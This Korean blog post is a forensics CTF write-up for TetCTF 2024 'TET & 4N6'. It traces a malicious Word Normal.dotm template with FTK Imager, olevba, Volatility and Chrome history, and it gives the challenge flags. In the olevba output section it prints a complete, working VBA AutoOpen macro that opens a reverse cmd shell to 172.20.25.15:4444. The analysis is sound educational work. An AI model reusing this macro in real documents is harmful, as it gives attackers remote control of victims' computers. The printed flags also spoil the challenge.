CTF/Digital Forensic

[TetCTF 2024] TET & 4N6_Write-up

수분_ 2024. 2. 4. 19:55

 

들어가기에 앞서

 Write-up은 개념이해가 완료되지 않은 사람들을 위해 자세하게 작성되었다.
 핵심 문제풀이 외에 추가적인 내용이 첨부되었으며 내용 또한 길다.
마지막으로 글 마무리에 개념이해를 돕기 위한 링크가 첨부
되어있음을 알린다.

[TetCTF 2024] TET & 4N6 (Misc/Forensics)
Writer Sooboon
Date of issue 2024.02.03

 

Tools Used Version
FTK Imager 4.7.1.2
olevba (oletools package) 0.60.2dev5 on Python 3.12.1
volatility 2.6
DB Browser (for SQLite) 3.12.2

INDEX

1. TET & 4N6 Introduce

2. Explanation

3. Flag


 

1. TET & 4N6 Introduce

TET & 4N6
100point

[챌린지 이름]
TET 및 4N6

[카테고리]
기타 / 포렌식

[작가]
Stirring

[설명]
Tet이 오고 있고, TetCTF가 다시 오고 있습니다.
매년 그랬듯이 저는 CTF 등록을 계속했고, 대회 준비를 위해 규칙도 읽었습니다.
규칙을 읽어보니 내 컴퓨터가 이상해 보이는데, 어딘가 악성코드에 감염된 것 같았다. 알아낼 수 있나요?
악성코드를 찾아서 IP와 C2포트를 알려주세요 당신이 처음으로 발견한 깃발은 무엇이었나요?
계정을 등록한 후에는 내 계정에 대해 더 이상 기억나는 것이 없습니다.
두 번째 깃발을 찾고 얻을 수 있도록 도와주실 수 있나요?

[형식]
TetCTF{IP:Port_Flag1_Flag2}

ex) TetCTF{1.1.1.1:1234_Hello_HappyForensics}

 

 


2. Explanation

 

 

문제 파일을 열면 ad1, raw 파일이 존재한다.

 

TetCTF 규칙을 읽어보니 악성코드에 감염된 것 같다고 했다.

 

`FTK imager`를 통해 Backup.ad1을 열어보았다.

 

 

 

 

Backup.ad1`User\사용자명\AppData`를 덤프한 파일인 것을 확인가능하다.

 

악성코드가 어디서 감염되었는지 확인하기위해 최근에 실행된 파일을 알아보려 했다.

 

 

 

 

`Roaming\Microsoft\Windows\Recent`에서 TetCTF2024-Rules.lnk를 찾아볼 수 있었다.

 

TetCTF 규칙을 읽어보니 악성코드에 감염 됐다고 했고 이를 통해 .docx파일과 연관이 되어있다고 판단.

 

Office 문서 경로를 찾아보았다.

 

 

 

 

`Roaming\Microsoft\Office\Recent`에서 Templates.LNKTetCTF2024-Rules.LNK를 확인하였다.

 

 

 

 

 

LNKHex값을 통해 TetCTF2024-Rules.docx를 다운 받았고 이를 Word Templates 형식으로 열었을 때 악성코드에 감염되었다고 추측을 하였다.

 

이는 곧 문서파일 악성코드일 가능성이 다분하기에 Microsoft의 Templates 경로를 찾아보았다.

 

 

 

 

`Roaming\Microsoft\Templates`에서 Normal.dotm파일을 발견하였고 여기서 악성코드가 발견되었다.

 

이를 통해 문서형 악성코드 공격기법 중 Remote Template Injection에 해당하는 것을 알았다.

 

VBA 매크로가 담겨있을 것이기에 VBA를 분석 할 수 있는 도구인 `oletools중 olevba`를 사용하여 분석해보았다.

 

 

 

 

Window10 환경의 가상머신에서 Normal.dotm을 export했고 `olevba`를 통해 분석 내용을 `TETresult.txt`로 뽑아냈다.

 

 

TETresult.txt

olevba 0.60.2dev5 on Python 3.12.1 - http://decalage.info/python/oletools
===============================================================================
FILE: Normal.dotm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas 
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
'Coppy
Const ip = "172.20.25.15"
Const port = "4444"

Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1

Private Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To WSADESCRIPTION_LEN) As Byte
    szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As Long
End Type

Private Type ADDRINFO
    ai_flags As Long
    ai_family As Long
    ai_socktype As Long
    ai_protocol As Long
    ai_addrlen As Long
    ai_canonName As LongPtr
    ai_addr As LongPtr
    ai_next As LongPtr
End Type

Private Type STARTUPINFOA
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As String
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Enum af
    AF_UNSPEC = 0
    AF_INET = 2
    AF_IPX = 6
    AF_APPLETALK = 16
    AF_NETBIOS = 17
    AF_INET6 = 23
    AF_IRDA = 26
    AF_BTH = 32
End Enum

Enum sock_type
    SOCK_STREAM = 1
    SOCK_DGRAM = 2
    SOCK_RAW = 3
    SOCK_RDM = 4
    SOCK_SEQPACKET = 5
End Enum

Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long

Function revShell()
    Dim m_wsaData As WSADATA
    Dim m_RetVal As Integer
    Dim m_Hints As ADDRINFO
    Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
    Dim pAddrInfo As LongPtr
    Dim RetVal As Long
    Dim lastError As Long
    Dim iRC As Long
    Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512

    RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
    If (RetVal <> 0) Then
        MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If
    
    m_Hints.ai_family = af.AF_UNSPEC
    m_Hints.ai_socktype = sock_type.SOCK_STREAM

    RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
    If (RetVal <> 0) Then
        MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If

    m_Hints.ai_next = pAddrInfo
    Dim connected As Boolean: connected = False
    Do While m_Hints.ai_next > 0
        CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)

        m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
        
        If (m_ConnSocket = INVALID_SOCKET) Then
            revShell = False
        Else
            Dim connectionResult As Long

            connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)

            If connectionResult <> SOCKET_ERROR Then
                connected = True
                Exit Do
            End If
            
            closesocket (m_ConnSocket)
            revShell = False
        End If
    Loop

    If Not connected Then
        revShell = False
        RetVal = closesocket(m_ConnSocket)
        Call WSACleanup
        Exit Function
    End If
    
    Dim si As STARTUPINFOA
    ZeroMemory si, Len(si)
    si.cb = Len(si)
    si.dwFlags = &H100
    si.hStdInput = m_ConnSocket
    si.hStdOutput = m_ConnSocket
    si.hStdError = m_ConnSocket
    Dim pi As PROCESS_INFORMATION
    Dim worked As LongPtr
    Dim test As Long
    worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
    revShell = worked
End Function

Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
    MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function

Sub AutoOpen()
    Dim success As Boolean
    success = revShell()
End Sub
'Vmxjd2VFNUhSa2RqUkZwVFZrWndTMVZ0ZUhkU1JsWlhWRmhvVldGNlZrbFdSM2hQVkd4R1ZVMUVhejA9

 

 

 

악성 스크립트 VBA 매크로를 분석한 결과 여기서 2가지의 값을 얻을 수 있다.

 

  1. IP > 172.20.25.15:4444
  2. 'Vmxjd2VFNUhSa2RqUkZwVFZrWndTMVZ0ZUhkU1JsWlhWRmhvVldGNlZrbFdSM2hQVkd4R1ZVMUVhejA9

 

여기서 인코딩된 값을 Base64로 여러번 디코딩 해준다.

 

5번 디코딩하면 Flag1을 얻을 수 있다.

 

 

 

 

 IP > 172.20.25.15:4444
 Flag1: VBA-M4cR0

 

 


추가적으로 악성코드 IP메모리 덤프 파일TETCTF-2024-20240126-203019-0.raw를 통해서도 확인 할 수 있는데, `Volatility` 사용하여 분석하면 된다. (사실 이 문제에서 raw파일은 필요가 없다. 그러나 IP는 확인 가능하다는 것.)

 

 

`Volatility` 를 사용하기위해 `imageinfo` 명령어로 Profile을 얻는다.

 

 

`pslist` 명령어로 cmd가 실행된 것을 확인 가능하고,

 

 

`netscan` 명령어로 악성코드 IP를 확인 할 수 있다. (※ 4444 port는 대표적인 트로이목마의 할당 port이다.)

 

 

`cmdline` 명령어로 명령어 실행 이력과 간접실행임을 알 수 있다.


 

 

이제 마지막으로 Flag2만 찾으면 된다.

 

문제에서 계정 등록 후 본인의 계정이 생각나지 않는다고 했다.

 

계정을 찾으려면 인터넷 사용기록을 분석하면 될 것 같다.

 

 

 

 

`Local\Google\Chrome\User Data\Default`에서 History파일을 찾을 수 있다. 이것을 export 했다.

 

`DB Browser (for SQLite)`를 통해 data를 열어 Urls을 확인 한 결과.

 

 

 

 

Flag2를 찾을 수 있었다.

 

 

Flag2: R3c0v3rry_34sy_r1ght?

 

 

조합하면,

 

Flag

└ TetCTF{172.20.25.15:4444_VBA-M4cR0_R3c0v3rry_34sy_r1ght?}

 

 


3. Flag

3.1 Flag

IP: 172.20.25.15:4444
Flag1: VBA-M4cR0
Flag2: R3c0v3rry_34sy_r1ght?

>>> TetCTF{172.20.25.15:4444_VBA-M4cR0_R3c0v3rry_34sy_r1ght?}

 

 

3.2 개념 공부를 위한 추가자료

[Remote Template Injection (악성코드 공격기법)]

 https://goseungduk.tistory.com/111

 

Remote Template Injection 공격기법

#문서형악성코드 #공격기법 #Remote Template Injection 최근에 중국 문서형 악성코드를 분석하면서 자주 쓰이는 문서형 악성코드 공격기법에 대해 정리해보기로 한다. Remote Template Injection 이라고 워드

goseungduk.tistory.com

 

[VBA란?]

 https://wikidocs.net/141824

 

1) 엑셀 VBA(Visual Basic for Applicaiton) 소개

#1. 엑셀 VBA는 무엇인가? VBA란 Visual Basic for Application의 약자로 Microsoft 사에서 제공하는 프로그래밍 언어입니다. Excel, P…

wikidocs.net

 

[Normal.dotm이란?]

 https://wordtips.tistory.com/entry/%EC%9B%8C%EB%93%9C-normaldotm

 

Normal.dotm

목 차 1. Normal.dotm의 기능 1.1 기본 서식 및 설정을 저장하는 파일 1.2 Normal.dotm의 서식, 설정 2. Normal.dotm 열기 2.1 Normal.dotm이 있는 폴더 열기 2.2 Normal.dotm 파일 열기 3. Normal.dotm의 기본 서식 변경 3.1

wordtips.tistory.com

https://archwin.net/458

 

워드(Word) 2019(365): Normal.dotm 파일이 이상할 때

워드(Word) 2019(365)의 기능 서식 파일(Normal.dotm)이 이상할 때… The Normal.dotm template opens whenever you start Microsoft Word, and it includes default styles and customizations that determine the basic look of a document. 출처: 추가

archwin.net

 

[Port 4444 Details]

 https://www.speedguide.net/port.php?port=4444

 

Port 4444 (tcp/udp)

Port 4444 tcp/udp information, assignments, application use and known security risks.

www.speedguide.net

 

[PID (프로세스)에 관하여]

 https://awesomebit.tistory.com/12

 

2.1 프로세스

2.1 프로세스2.1.1 개요프로세스는 현재 실행중인 하나의 프로그램리눅스는 멀티태스킹이 가능한 운영체제이므로 동시에 여러 개의 프로세스를 실행할 수 있다.ps 명령으로 현재 프로세스 목록을

awesomebit.tistory.com